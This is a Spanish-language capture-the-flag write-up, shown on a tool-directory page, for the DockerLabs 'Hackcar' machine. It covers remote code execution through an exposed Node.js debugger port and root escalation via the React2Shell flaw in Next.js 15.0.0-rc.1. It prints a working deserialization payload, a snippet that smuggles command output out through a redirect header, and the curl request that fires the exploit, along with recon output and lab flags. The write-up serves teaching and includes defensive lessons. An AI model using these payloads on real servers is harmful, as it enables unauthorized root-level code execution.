Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
hackcar-writeup — Writeup: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell) | Kitploit
Tools/GitHubGitHub/iapetus12/hackcar-writeup
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingLearning & EducationRed TeamingLabs & PracticeArchived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

Writeup: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)

13h 16m agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Hackcar - Writeup

Plataforma: DockerLabs Dificultad: Media (más o menos, tiene su miga) Objetivo: De webuser a root rompiendo una Next.js


El arranque: reconocimiento

Como siempre, primero lo primero: ver qué tenemos delante.

root@kitploit:~
nmap -sC -sV -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

Espera... ¿9229? Ese puerto no es normal. Y un escaneo completo confirma que solo hay dos puertos:

root@kitploit:~
nmap -p- --min-rate 1000 -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

El 9229 es el típico puerto del . Si está expuesto sin protección, es básicamente una puerta abierta a ejecución de código. Vamos a comprobarlo.

Node.js inspector (debugger)
root@kitploit:~
curl -s http://172.17.0.2:9229/json
root@kitploit:~
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

Chingo. El debugger de Node está expuesto, sin autenticar, y encima nos dice dónde vive la app. Esto es RCE directo.


Fase 1: RCE vía Node.js Inspector

Con el debugger expuesto solo necesitamos conectarnos al WebSocket y usar Runtime.evaluate para ejecutar lo que nos dé la gana dentro del proceso de Node.

Me hice un script rápido en Python que saca la URL del debugger y ejecuta comandos con process.mainModule.require('child_process').execSync():

root@kitploit:~
expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

Para no pelearme con comillas, todo el comando lo mando en base64 y lo decodifico dentro del propio proceso. Primer test:

root@kitploit:~
python3 node_rce.py "id"
root@kitploit:~
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

RCE como webuser. La máquina la tenemos en la mano... o eso creía. Resulta que lo bueno estaba más escondido.

Miremos los procesos para ver qué más corre en la máquina:

root@kitploit:~
ps auxww
root@kitploit:~
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

¡Ojo al dato! Hay una Next.js versión 15.0.0-rc.1 corriendo como ROOT en el puerto 3000 (solo localhost). Eso huele a privilegio... y a CVE.

Como solo escucha en 127.0.0.1 dentro del container, no podemos tocarla desde fuera. Pero tenemos RCE, así que podemos entrar desde dentro. Primero veamos qué es:

root@kitploit:~
curl -s http://127.0.0.1:3000/

Aparece un "Internal Administration Portal" — un portal interno de administración. Todo muy apetitoso.

La flag de user la encontramos rápido:

root@kitploit:~
DL{g2QrDUvg3HiqaWeZBbZa}

Y ahora toca escalar a root a través de esa Next.js.


Fase 2: React2Shell (CVE-2025-55182)

La versión es Next.js 15.0.0-rc.1, que usa React 19 vulnerable al famoso React2Shell (CVE-2025-55182): un RCE crítico (CVSS 10.0) por prototype pollution en el parser RSC (React Server Components / Flight protocol).

El exploit es un multipart/form-data malformado con el header Next-Action, que hace que el parser de React deserialice un objeto envenenado que acaba llamando al Function constructor con nuestro código:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<CÓDIGO JS A EJECUTAR>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

O sea: se envenena Chunk.prototype.then, el parser carga nuestro modelo, y al resolver la promesa se ejecuta nuestro JavaScript en el proceso de Next.js, que corre como root.

Para sacar el output usé el modo "redirect": el código ejecuta el comando, hace base64 del resultado y lo mete en la propiedad digest de un Error, que Next.js devuelve como header:

root@kitploit:~
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

La petición final:

root@kitploit:~
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

El servidor responde 500 (es normal, es un error a propósito) y en el header:

root@kitploit:~
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

Decodificamos:

root@kitploit:~
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

SOMOS ROOT. Y la flag:

root@kitploit:~
python3 react2shell.py "cat /root/root.txt"
root@kitploit:~
DL{Z8Gc5NFYMrH3W4vv5ZWa}

Resumen del ataque

root@kitploit:~
nmap
 └─ 8080 (web Express, estática, puro humo)
 └─ 9229 (Node.js inspector EXPUESTO)
      └─ RCE como webuser via Runtime.evaluate
           └─ Enumeración: Next.js 15.0.0-rc.1 en 127.0.0.1:3000 como ROOT
                └─ CVE-2025-55182 (React2Shell): RCE root
                     └─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}

Flags:

ArchivoFlag
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

Vulnerabilidades (por qué pasó)

#VulnerabilidadCWEQué nos dio
1Node.js inspector sin autenticar (puerto 9229)CWE-284RCE como webuser
2Next.js 15.0.0-rc.1 desactualizada (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502RCE como root

Lecciones:

  • Nunca expongas el debugger de Node en producción (ni siquiera en una red "interna").
  • Actualiza tus dependencias. Esta Next.js lleva meses con una CVE crítica conocida.
  • No bindees servicios solo a localhost si el proceso ya es comprometido: webuser podía llegar a localhost:3000.
  • DockerLabs siempre es para aprender, no para liarte en entornos reales ;)

Herramientas

HerramientaUso
nmapReconocimiento de puertos
curlEnumeración web y disparar el exploit
websocket-client (Python)Hablar con el inspector de Node
jadxLa máquina anterior (no aquí, pero me sigue pareciendo bonito)
base64Transportar payloads sin líos con comillas

Writeup con fines educativos. Solo tocar máquinas donde tienes autorización (DockerLabs, HTB, tu propio laboratorio).

Download Tool